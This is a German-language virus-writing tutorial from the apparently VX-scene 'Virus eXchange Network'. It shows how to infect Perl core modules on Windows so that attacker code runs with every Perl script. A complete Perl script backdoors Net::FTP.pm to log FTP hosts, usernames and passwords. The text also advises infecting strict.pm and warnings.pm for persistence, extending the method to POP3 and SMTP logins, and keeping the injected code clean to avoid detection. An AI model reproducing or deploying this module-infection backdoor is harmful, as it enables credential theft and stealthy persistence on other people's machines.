[+]Topic: Tutorial
[+]Von: Perforin
[+]Return: Tutorials
_________________________
//_______________________\\
|| ||
|| [V]irus [X]change || ___ ___ ___
|| Netw0rk || \ \ \ \ / /
||-----------------------|| \ \ \ \ / /
|| The Perl Monks || \ \ \ \ / /
|| presents || \ \ \ / /
|| || \ \ \/ / Netw0rk
|| Core Module Infection || \ \ / / \
|| on a Windows || \ \ / /\ \
|| Box || \ \ / / \ \
|| || \ \__/ / \ \
|| by Perforin || \______/ \__\
||-----------------------||
|| Your ||
|| polymorphic ||
|| Nightmare ||
||_______________________||
\\_______________________//
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::[ Intro ]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Hier zeige ich euch wie man Perl Core Module infiziert, was ganz einfach
ist, da Windows keine Anstalten macht, wenn man diese Dateien aendern will.
In Linux kann man dies nicht, da benoetigt man schon root Rechte.
Windows hat nur einen Schreibschutz auf die Dateien gelegt x)
Wieso sollte man die Core Module infizieren? Ganz einfach, diese sind
standartmaessig bei einer Perl Installation dabei und sind die Module die
am haeufigsten in Perl Skripten geladen werden. Wenn wir nun unsere Code
in eines dieser Module injecten koennen, wird unser Code also auch
jedesmal mit ausgefuehrt! ARF ARF GOTCHA!
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::[ HowTo ]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Der Perl Ordner findet man standarmaessig auf unter C:\Perl\ .
Am besten ihr nehmt $ENV{'HOMEDRIVE'}\Perl\ . \lib\ ist der Ordner, wo all
sich alle Module befinden. Das Modul FU::BAR findet man unter diesem Pfad
$ENV{'HOMEDRIVE'}\Perl\lib\FU\BAR.PM
Die Wichtigsten der Core Module und/oder die Interessantesten waeren wohl
Net::FTP
Net::Telnet
Net::SMTP
Net::POP3
File::Glob
LWP::Simple
IO::Socket
strict
warnings
diagnostics
Das sind naemlich die Module die wohl am haeufigsten gebraucht werden oder
interessante Login Daten verarbeiten :-) So sind wir uns fast sicher, dass
bei jeder Perl Datei die auf der Box gestartet wird, auch unser Code aus-
gefuehrt wird.´Mit etwas Glueck bekommen wir auch vertrauliche Informationen
von der NET Familie. FTP, Telnet, SMTP, POP3, SSH etc logins frei haus!
Hiermit koennen wir den Sniffer getrost bei Seite legen.
So entfaellt das laestige durchsuchen der Festplatte nach moeglichen Perl
Dateien die wir dann infizieren und wo es nicht sicher ist, dass diese
ueberhaupt einmal gestartet werden...
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::[ Code ]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Wir muessen jetzt nur noch schauen, dass wir unseren Perl Code in die Core
Module eingebettet bekommen. Das am besten ohne Fehler die auf eine
Manipulation hindeuten koennten. Der folgende Beispielcode speichert alle
FTP Logins von Net::FTP in einer Datei.
/!\ Aufgepasst, denn die Datei "LOGINS.log" wird nicht wie vielleicht
vermutet, in $ENV{'HOMEDRIVE'}\Perl\lib\Net\ gespeichert, sondern dort
wo das Skript gestartet wurde, das das FTP Modul benutzt! Da dieser
Code ja eh nur als Beispiel dient ist das ja nicht weiter schlimm. In
einem Virii wuerde man sich diese Daten nun schicken lassen.
8<------------------------------------------------------------------------
#!/usr/bin/perl
chmod(0777, "$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm");
print "[+] Denied write permission removed!\n";
print "[+] Opening FTP.pm\n";
open(FTP,"<","$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm") || die "[!] Cannot open FTP.pm!";
@FTP = ;
close(FTP);
print "[+] Reading...\n";
print "[+] Write Backdoor\n";
foreach $line (@FTP) {
if ($cnt == 56) {
$line =~ s/$line/open(H4x,">>","LOGINS.log"); print H4x "Host: \$host\\n";\n/;
}
if ($cnt == 240) {
$line =~ s/$line/print H4x "User: \$user\\nPass: \$pass\\n\\n"; close(H4x);\n/;
}
$cnt++;
push(@NFTP,$line);
}
print "[+] Backdoor active!\n";
open(NFTP,">","$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm") || die "[!] Cannot rewrite FTP.pm!";
print NFTP @NFTP;
close(NFTP);
print "[+] FTP.pm is now backdoored!\n";
8<------------------------------------------------------------------------
Wenn wir jetzt nur ein modul infizieren wollen, damit wir sicher gehen,
dass unser Code bei jedem start einer Perl datei mitgeladen wird, dann
sollten wir strict.pm, warnings.pm und diagnostics.pm infizieren. Da
diese keine Login Informationen uebertragen, muessen wir hier auch nicht
sonderlich aufpassen, wo wir unseren Code injecten. Am besten jedoch vor
die POD. Ich glaube hierzu braucht ihr auch nicht wirklich einen Beispiel
Code, denn hier koennt ihr echt nicht sehr viel falsch machen!
Wie ihr andere Module effektiv infiziert, dazu muesst ihr euch nur die
Dokumentation davon reinziehen. Bei Net::POP3 zum Beispiel, wird der Host
in der sub "new" uebertragen. Siehe --> $pop = Net::POP3->new('pop3host');
Die Login Informationen werden in der "login" sub uebertragen!
Siehe --> $pop->login($username, $password);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::[ Outro ]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Ja das wars auch schon wieder von mir. Ihr seht das war wirklich nicht
schwer, denn Microsoft laesst uns wieder viel Spielraum zum virii coden :)
Was uns hier auch noch zu Gute kommt, ist dass man die Core Module von
Perl nicht oft bis gar nicht kontrolliert. Ausser eben, man baut Mist
beim infizieren der Module so, dass es zu Fehlern bei Dateien kommt, die
ansonsten immer einwandfrei funktioniert haben. Also nur aufpassen, dass
ihr sauberen Code injected! Bei weiteren Fragen, meldet euch bei einem
unserer PerlMonks oder bei mir selbst!
#vxnet